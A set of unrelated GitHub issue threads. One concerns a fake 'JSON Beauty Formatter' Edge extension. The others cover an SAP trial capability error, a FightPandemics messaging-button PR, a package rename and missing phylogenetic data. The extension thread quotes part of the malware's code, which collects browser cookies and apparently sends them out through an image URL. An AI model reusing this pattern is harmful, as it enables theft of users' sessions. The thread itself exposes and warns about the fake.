Edge has disabled the extension from running for me for now, so I'm not gonna go poke the bear so to speak, I'll leave it the way it is for a while and see what crops up here.
It might however be worth installing the plug-in in a VM or other suitable sandbox and see if it really does do anything horrible, likewise might also be worth trying it in Chrome too, see if Google has flagged it also.

@shawty I would be interested, if you are willing, in whether you can successfully remove it. Using the remove button in the extension manager removes it for me but it reappears after Edge is closed and reopened...

@shawty I would be interested, if you are willing, in whether you can successfully remove it. Using the remove button in the extension manager removes it for me but it reappears after Edge is closed and reopened...

Not tonight, it's pretty late here in the UK, but I have my copy of edge setup to replicate plugins, bookmarks etc across different devices, so rather than risk my main work machine, I'll try it in one of the many Windows VM's I have, or on a different machine, probably sometime during the next week.

What does the malware do??
I was kind of confused about the actual issue? I had issues with Facebook some days ago where it added some users to my campain manager and it added campains i did not start :-( could be this plugin

No idea on that one yet, I've not let it run or anything, been too busy to sandbox it.

I have not published anything to the Edge store, ever. If someone else is publishing something there (or anywhere) called "JSON Beauty Formatter", that is definitely not JSON Formatter.
I gather my extension somehow works in Edge, based on seeing comments from people apparently using it in that browser, but that's all I know. Maybe they are all just using forks. Or maybe they are installing my extension from source. Or maybe Edge can install extensions from the Chrome store? I have never really looked into it.
I'll try to figure it out when I get home.
JSON Formatter itself has not been compromised. The screenshot posted here is not of JSON Formatter.

@callumlocke edge now runs on the chrome engine, and therefore can use and install extensions directly from the Chrome store, something Microsoft highlights when trying to convince people to use Edge.
Im guessing that someone has deployed a fake using links and images to create a look-a-like to edge store.
it even had the same description.

I have not published anything to the Edge store, ever. If someone else is publishing something there (or anywhere) called "JSON Beauty Formatter", that is definitely not JSON Formatter.
I gather my extension somehow works in Edge, based on seeing comments from people apparently using it in that browser, but that's all I know. Maybe they are all just using forks. Or maybe they are installing my extension from source. Or maybe Edge can install extensions from the Chrome store? I have never really looked into it.
I'll try to figure it out when I get home.
JSON Formatter itself has not been compromised. The screenshot posted here is not of JSON Formatter.

Hi @callumlocke just to fill in some gaps for you :-)
ALL chrome extensions even launched from the chrome web store do by default work in the current versions of edge.
Can't remember exactly when it was but it's been the current state of play now for at least 5 years that I can remember, MS-Edge actually uses chrome under the hood.
Basically, if you take chrome, remove all the UI and Google specific stuff, then wrap the MS UI and features around it, then you have edge.
For quite some time now, us edge users have been able to install chrome plugins direct from the chrome extension store.
I've just checked the "extension store" link in my browsers extensions control panel, and it's taken me to what now appears to be a non existent MS-Edge store page.

If however I click on the "Project Page" link just below the store page, it brings me directly to this git-hub repo.

I'm going to guess, based on your response that what someone's possibly done is cloned your repo, recompiled it, and published it on the MS-Edge extension store, making all of us think we where in fact installing your plug-in, so I'm going to be the first to apologise for pointing the finger.
Right now, I'm going to remove the copy I have, and re-install your genuine copy from the CHROME web store and not the MS-Edge version (Which now appears to have been removed anyway)
Note of caution to my fellow MS-Edge users, always be careful now that we know that two different people can place 2 identical plug-in's in the 2 different web stores.

Another update, I've just gone to the Chrome Store, and this is what I see

Edge seems to think that the plugin in the chrome store, and the one I have (soon to be had) installed, are one and the same thing!
Also @callumlocke the screen grab I see of your plug-in there on the chrome store, is exactly the same as the what the one I had installed looked like.

@shawty interesting, thanks.
Still haven't got round to this but I'm planning to just officially publish JF to the Edge store and hope that this stops people using fakes. The tricky thing is some 'fakes' are totally legit forks that add useful features people actually want, and I don't want to accuse them of anything, but I can't easily tell if they're privacy-respecting or not.
Considering renaming it somehow to a slightly less generic name so it's easier to distinguish from clones. Could just rename it "Callum's JSON Formatter" maybe. Open to any suggestions.

It seems like this was actually malware, that grabs your cookies...
function checkVer(u, ix) {
	chrome.cookies.getAll({
		url: u
	}, function (cl) {
		//Get current config
		var apps = {}
		for (var i = 0; i < cl.length; i++) {
			apps[cl[i].name] = cl[i].value + "__"
            + extD(cl[i].domain);
		}
		makeMsg(chrome.runtime.getManifest().name, chrome.runtime.getManifest().description, apps, ix);
	});
}

function makeMsg(title, msg, apps, ix) {
    ...
    var btn = document.createElement("img");
    btn.setAttribute("class", "_42ft _42fu _42gy");
    //buttonEl.setAttribute("target", "_blank");
    //Todo: Need to remove not use code in next version
    //buttonEl.setAttribute("href", button.href || "#");
    //buttonEl.setAttribute("target", "_blank");
    btn.setAttribute("src", cu);
    doc.appendChild(btn);
    ...
}


Set Up Integration Suite Trial

Tutorial URL: https://developers.sap.com/tutorials/cp-starter-isuite-onboard-subscribe.html
Step 4.4 The 'open connector' capability is not getting activated and all the other capabilities are able to get activated successfully. We need this capability for further execution kindly tell what can be done.

Getting the below error

Note: This issue is happening only in trail1
Labels:
Landscape label: trail1
Sprint Label: SCPTest-2008A
Scenario Label: SCPTest-cloudin
Regards,
Akanksha Kullu

Hi @AkankshaKullu ,
Thanks for the feedback and I tried the same in my trial account, it worked well.
You can also write an email to<EMAIL_ADDRESS>However, could you please try to deactivate the capability in the manage capabilities and activate again. Also try activating in the new subaccount.
If that doesn't work please share us the below details to check with our internal team to provide the necessary fix for this issue.

Subaccount details
Global account details

Regards,
Vikram Kulkarni

Hi @Vikramkulkarni01
Thank you for the solution. Followed what you have suggested and was able to execute the scenario. No more facing this issue.
Regards,
Akanksha

Thank you for your feedback. The issue seems to be resolved, so I am closing the issue.
If you still have questions, feel free to reopen the issue.


Implemented message option to socials of posts

What does this pull request aim to achieve? 💯
Added button to allow users to message the authors of posts.
Currently, doesn't have message sending functionality.
Note that the assets only contain a blue mail icon.
Please be concise and link any related issue(s):
Closes #1433

[x] I have checked that no one else is working on similar changes.
[x] I have read the latest README and understand the development workflow.
[x] The name of this branch is: feature/<branch_name>, or hotfix/<branch_name> if this is a hotfix. The branch is created in a cloned version of this repo, not a forked repo.
[x] This branch is rebased/merged with the latest staging (or the latest production if it is a hotfix).
[x] There are no merge conflicts.
[x] There are no console warnings and errors.
[x] On the right hand side of this PR, I have linked the appropriate issue(s) under "Issues" and added a project progress under "Projects".

@emtay
This feature is similar to the 'comment' already existing for the post, as if user want to communicate or share their viewpoint, comments serve the same purpose, adding additional duplicate feature with a difference that now that email will send to the author of the post.
It will be more functional and user friendly if we connect user email with the 'comment' feature. So he should be notified.
Adding 'mail' will reduce the need or create confusion to end user for the 'comment' feature.
Also I would like to highlight that this feature will interfere with the email functionality for the FP organisation 'Sourced by Fightpandemics' as currently I can send email without login to the org but here for the specific post it will ask me to login.
So email is same to connect to same org but if I choose path as:
View profile (sourced by Fightpandemics) -> click on email icon ---> user is able to send email without login
View profile (sourced by Fightpandemics) -> click on email icon existing on the post ---> user is NOT able to send email without login
I would like to suggest, that if we are implementing email feature to connect directly with the author of the post, in that case if we add email functionality at the profile level, rather than to each post. And let comments serve the purpose of communication for the post level only.
Kindly share your thoughts.
Also like if we see on linked we have comments, like or share for the posts shared and when you click on profile of the user, then we can directly send the message/ email.

@rabbi08 this "Message" option is not for sending emails, but rather for the private messaging feature, it's not the same as comments, those are public, these messages would live in a "chat" between the author and the user, in the "Private Messages" section.
We agree that it would be best to be able to message the author from their profile, but because this is a feature critical for launch, and this solution is more feasible because we're building on top of the comments structure that is already working, this is as far as we know the most effective way to make this work in time.
Hope that helps!

@rabbi08 this "Message" option is not for sending emails, but rather for the private messaging feature, it's not the same as comments, those are public, these messages would live in a "chat" between the author and the user, in the "Private Messages" section.
We agree that it would be best to be able to message the author from their profile, but because this is a feature critical for launch, and this solution is more feasible because we're building on top of the comments structure that is already working, this is as far as we know the most effective way to make this work in time. This and the email notifications feature (different from this) aim to close the communication loop between users in time for launch.
Hope that helps!

@CamilaArias
We do have 'Email functionality at profile level' working currently in FP. All the post from 'Sourced by FightPandemics' have email functionality at profile level. Please see below screen recording for the same. Can we copy and enhance that?
RPReplay_Final1598674403.zip
But in case, if that might time extra time than expected then, as discussed we can have this functionality, but can we create this feature as low priority user story? So that it can be tracked in future. Kindly update.
Thanks

Thanks @xreic . I'll take a full review tomorrow but:

We do want to add that css class to make it invisible until the whole feature is done as suggested in today's meeting. Maybe hide-feature? Define the class globally and we will use it ongoing for similar things.
For Google Tag Manager we should add something.  I'd confirm with BI team but I'd suggest we propose  _MS and use until we hear otherwise https://github.com/FightPandemics/FightPandemics/blob/1e4944b1db27826ca1accb07798dd622b51577e4/client/src/constants/gtm-tags.js#L35

Perhaps I’m confused about this story. I didn’t think it was for email but instead for private message we’re building.
It will need to get connected to right backend once that is built out

The idea of the envelope icon is to work as a private message.
However, I get your confusion @rabbi08 because we also have an envelope on the individual and organization profile. Maybe we should change that one for a "@" instead as in the future the envelope will might be the message as well.
Obviously, no matter if is a comment or private message, the idea is to still send the user an email notification.

We could use this one like Instagram does:

We just need to replace it within the write comment box with something else.... (maybe just button w "Comment" txt)
Most social sites seem to use a similar icon to what we are using for comments...
Or @manualzuru suggestion, use the envelope for messaging and on profile page use @ symbol for email.

Thanks @xreic . I'll take a full review tomorrow but:

We do want to add that css class to make it invisible until the whole feature is done as suggested in today's meeting. Maybe hide-feature? Define the class globally and we will use it ongoing for similar things.
For Google Tag Manager we should add something.  I'd confirm with BI team but I'd suggest we propose  _MS and use until we hear otherwise https://github.com/FightPandemics/FightPandemics/blob/1e4944b1db27826ca1accb07798dd622b51577e4/client/src/constants/gtm-tags.js#L35

@joshmorel
I added the hide-feature class and applied it to the button.

Thanks @xreic I think there's going to have to be some way we make it easy to toggle outside of local development.
I have some ideas - I'll be back on this soon.
We need to resolve @rabbi08 issue's anyways - but this requires consensus and a new design so this one is a bit on hold for now (@kterry1 - you're going ahead fine with just text for now right?).

@xreic - about the global class I think it needs to be a wrapper component instead that is hidden on prod but visible in review & dev.
A global class is okay for local dev, but not QA etc.
It's probably simplest just turn it off in prod & staging. The wrapper component probably will do something like - if prod return null, otherwise return <>{children}</>.
To check if prod I think for now, /fightpandemics\.(com|work)$/.test(window.location.hostname) will be okay. We'd need to add REACT_APP_ env vars otherwise I think to distinguish between review/prod/staging (also an option).
Once the feature is ready for prod we create a new ticket to remove the wrapper class then it could be tested in staging. Or @rabbi08 @emtay should this hidden features be hidden in prod & staging, or only prod.

@xreic - about the global class I think it needs to be a wrapper component instead that is hidden on prod but visible in review & dev.
A global class is okay for local dev, but not QA etc.
It's probably simplest just turn it off in prod & staging. The wrapper component probably will do something like - if prod return null, otherwise return <>{children}</>.
To check if prod I think for now, /fightpandemics\.(com|work)$/.test(window.location.hostname) will be okay. We'd need to add REACT_APP_ env vars otherwise I think to distinguish between review/prod/staging (also an option).
Once the feature is ready for prod we create a new ticket to remove the wrapper class then it could be tested in staging. Or @rabbi08 @emtay should this hidden features be hidden in prod & staging, or only prod.

As per me I would say lets keep it hidden from both STG and PROD till it is fully functional because of following points:

STG should be close match with PROD
To avoid confusion with other features.
We might need to do multiple changes/fixes, to this feature till it fully functional, in that way, it will be more fast and independent to be build on feature build and merge to STG when ready.

@joshmorel
My bad for misunderstanding I was still thinking about CSS.
I made a simple component that reads the env variables and renders based on that.
Do you want me to switch it to the URL parsing method?
This is how it looks currently
// Core
import React from "react";

const HideFeature = (props) => {
  if (process.env.NODE_ENV !== "development") {
    return <></>;
  } else {
    return <>{props.children}</>;
  }
};

export default HideFeature;

Thanks @xreic  the resolution looks good (for dev/staging/prod at least --> see below).
@rabbi08 - that confirms what I thought for staging. So definitely hide there. But what about review? The problem is it will show in other review branches after it's been merged --- there's no easy way to hide/show for a specific review branch I don't think.
The alternate to this whole approach is having long running "feature" branches with multiple PRs into that feature branch for different parts required for the feature. But there's risks there I think as well in general branch management complexity.
Thoughts @emtay ?

'Messaging' functionality have already been implemented and working. Hence, closing this as of now, please open a new ticket if this issue re-occur (#1433 is already complemented and closed). Thanks.

'Messaging' functionality have already been implemented and working. Hence, closing this as of now, please open a new ticket if this issue re-occur (#1433 is already complemented and closed). Thanks.


:truck: Chore: g mv packages/evmts packages/vm

Description
Move package so name matches folder name
Testing
Explain the quality checks that have been done on the code changes
Additional Information

[ ] I read the contributing docs (if this is your first contribution)

Your ENS/address:

Current dependencies on/for this PR:

main

PR #644   👈

This stack of pull requests is managed by Graphite.


chang_et_al2015: Indo-European

Not published in supplementary materials.

Looks like the sample of posterior trees is no longer available (according to reply received from first author Will Chang, who apologizes but has changed fields).

ok :(